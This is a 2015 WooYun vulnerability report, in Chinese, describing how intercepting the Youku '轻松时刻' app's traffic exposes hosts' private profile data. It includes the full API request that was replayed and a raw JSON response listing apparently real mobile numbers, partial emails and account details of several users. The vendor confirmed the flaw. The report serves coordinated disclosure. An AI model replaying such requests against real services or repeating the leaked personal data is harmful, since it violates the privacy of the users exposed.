当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149342

漏洞标题:优酷某业务信息泄露(用户手机号&主播敏感信息)

相关厂商:优酷

漏洞作者: DloveJ

提交时间:2015-10-25 21:51

修复时间:2015-12-10 10:04

公开时间:2015-12-10 10:04

漏洞类型:账户体系控制不严

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-25: 细节已通知厂商并且等待厂商处理中
2015-10-26: 厂商已经确认,细节仅向厂商公开
2015-11-05: 细节向核心白帽子及相关领域专家公开
2015-11-15: 细节向普通白帽子公开
2015-11-25: 细节向实习白帽子公开
2015-12-10: 细节向公众公开

简要描述:

啦啦啦,好久不来额

详细说明:

下载轻松时刻app

1.png


点击用户头像,以YOMI为例,只要是绑定了手机的都可以显示出来。
点击头像的同时抓包,将第一个包放掉,拦截第二个

1.png


得到了YOMI私人邮箱

mask 区域
*****i@sin*****


同时发现了所有官方的绑定方式(即官方认证的)
就是这个接口

POST /cop/router/rest.json HTTP/1.1
Content-Length: 296
Content-Type: application/x-www-form-urlencoded
Host: api.y.youku.com
Connection: Keep-Alive
Accept-Encoding: gzip
timestamp=2015-10-25+14%3A14%3A44&count=30&version=1.0&uid=562bcf2ae69936757fb&page=1&secret_id=55bad81ae4b0b404f7c82fe5&action=cloudcommunity.cms.fe_list_item&modid=561e208aa1a2a78f&appid=55bad7d1eb848b5&sign=42b2a9cba03f86214b6&from=Meizu-MX4&ip=10.128.66.246


response如下

mask 区域
*****,"auto_type":1,"type":4,"muid":"55bf31a60cf219557d63e7ca","id":"562c60c4e4b06a7d566d3a51","cover":["http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003655d578ec3466346334343362.png"],"title":"拍客视界","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1438593446,"uid":"55bf31a60cf219557d63e7ca","reg_source":101,"status":0,"reg_time":1438593446,"freeze_status":0,"v_certification":1,"avatar":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003655d578ec3466346334343362.png","recommend":1,"avatar_big":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003655d578ec3466346334343362.png","role_certification":2,"area":"","nick":"拍客视界","email":"[email protected]","background":"","gender":2,"signature":"一档原创类节目。精选全国各地优质拍客内容,记录平民百姓的冷暖人间","mobile":"10000000004"},"brief":"一档原创类节目。精选全国各地优质拍客内容,记录平民百姓的冷暖人间"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55c213ac0cf241203371d527","id":"562c60c4e4b06a7d566d3a52","cover":["http://wx.qlogo.cn/mmopen/mOFqRPOkyRkT8OO8jicBNRnuBcMciaTHpL4RpcqiavdQgdb6AMcqeGzDIiah1UQkbSQ5YFyOialzobn5asIdzZlEywlaszY0vtoia9/0"],"title":"可爱大熊猫","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1444470913,"uid":"55c213ac0cf241203371d527","reg_source":3,"status":0,"reg_time":1438793470,"freeze_status":0,"v_certification":1,"avatar":"http://wx.qlogo.cn/mmopen/mOFqRPOkyRkT8OO8jicBNRnuBcMciaTHpL4RpcqiavdQgdb6AMcqeGzDIiah1UQkbSQ5YFyOialzobn5asIdzZlEywlaszY0vtoia9/0","recommend":1,"avatar_big":"http://wx.qlogo.cn/mmopen/mOFqRPOkyRkT8OO8jicBNRnuBcMciaTHpL4RpcqiavdQgdb6AMcqeGzDIiah1UQkbSQ5YFyOialzobn5asIdzZlEywlaszY0vtoia9/0","role_certification":2,"area":"","nick":"可爱大熊猫","email":"[email protected]","background":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155ed04043739386636656638.png","gender":1,"signature":"无个性不签名","mobile":"13581551113"},"brief":"无个性不签名"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55e159570cf294b3bd330108","id":"562c60c4e4b06a7d566d3a53","cover":["http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155e15dbc3137636339333039.png"],"title":"拔个C爱翠翠","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1441026691,"uid":"55e159570cf294b3bd330108","reg_source":101,"status":0,"reg_time":1440832470,"v_certification":1,"freeze_status":0,"avatar":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155e15dbc3137636339333039.png","recommend":1,"avatar_big":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-permi.cloud.youku.com&fid=05a2003155e15dbc3137636339333039.png","role_certification":0,"area":"","nick":"拔个C爱翠翠","background":"","gender":0,"signature":"Forever16","mobile":"15210160108"},"brief":"Forever16"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55bf34150cf263151048cddb","id":"562c60c4e4b06a7d566d3a54","cover":["http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003055d579423739343066646532.png"],"title":"歪打正着","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1442543470,"uid":"55bf34150cf263151048cddb","reg_source":101,"status":0,"reg_time":1438594069,"freeze_status":0,"v_certification":1,"avatar":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003055d579423739343066646532.png","recommend":1,"avatar_big":"http://key.y.youku.com/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4003055d579423739343066646532.png","role_certification":2,"area":"","nick":"歪打正着","email":"[email protected]","background":"","gender":0,"signature":"搞笑娱乐的真人秀节目, 主题面向年轻观众,既有恶搞又贴近现实","mobile":"10000000005"},"brief":"搞笑娱乐的真人秀节目, 主题面向年轻观众,既有恶搞又贴近现实"},{"template":"itm_rich1","status":1,"mod_ver_id":"562c60c4e4b06a7d566d3a47","auto_type":1,"type":4,"muid":"55c1b36e0cf2a46edabe4118","id":"562c60c4e4b06a7d566d3a55","cover":["http://43.250.14.55/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4006655c1bedd6339316539393532.png"],"title":"魏天阳","cover_src":[],"create_time":1444815614,"mu_data":{"ll_time":1445309616,"uid":"55c1b36e0cf2a46edabe4118","reg_source":101,"status":0,"reg_time":1438760617,"v_certification":1,"freeze_status":0,"avatar":"http://43.250.14.55/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4006655c1bedd6339316539393532.png","recommend":1,"avatar_big":"http://43.250.14.55/cloudvideo/kservice-route/get.json?ns=cmt-tmpi.cloud.youku.com&fid=05a4006655c1bedd6339316539393532.png","role_certification":0,"area":"","nick":"魏天阳","background":"","gender":2,"signature":"呵呵&qu*****


随便列出几个

mask 区域
*****gemini_ca*****
*****t;:"weijiarong@youku.*****
*****quot;:"5291*****
*****;email":&quot*****
*****;email":&quot*****
*****;email":&quot*****
*****,"email"*****
*****^球⭐颈部以下腹部以上有肥又^*****
*****t;","mobile&*****
*****ot;"mobile&qu*****
*****t;,"email"*****
*****,""mobile&q*****
*****;,"mobile&quot*****
*****uot;,"email&quo*****
*****t;,"email"*****
*****,"email":&q*****
*****uot;mobile":&*****
**********
**********
*****^^松时刻^*****
**********
**********
*****^松时刻^*****
**********
**********
*****nder":1,"signature":"暖*****
*****":0,"signature":"不死就*****
*****t;gender":0,"signature":&qu*****
*****ot;signature":"",*****
*****;:"社会那么多发明,都是懒^*****
*****der":1,"signature":"二^*****
*****nature":"最想進入輕鬆時刻編*****


然后我为了确定就加了个群聊

S51025-145244.jpg

S51025-145251.jpg


一种不祥的预感,应为我也是用手机注册的

漏洞证明:

修复方案:

版权声明:转载请注明来源 DloveJ@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-10-26 10:04

厂商回复:

感谢“DloveJ”帮忙发现问题,漏洞修复中!

最新状态:

暂无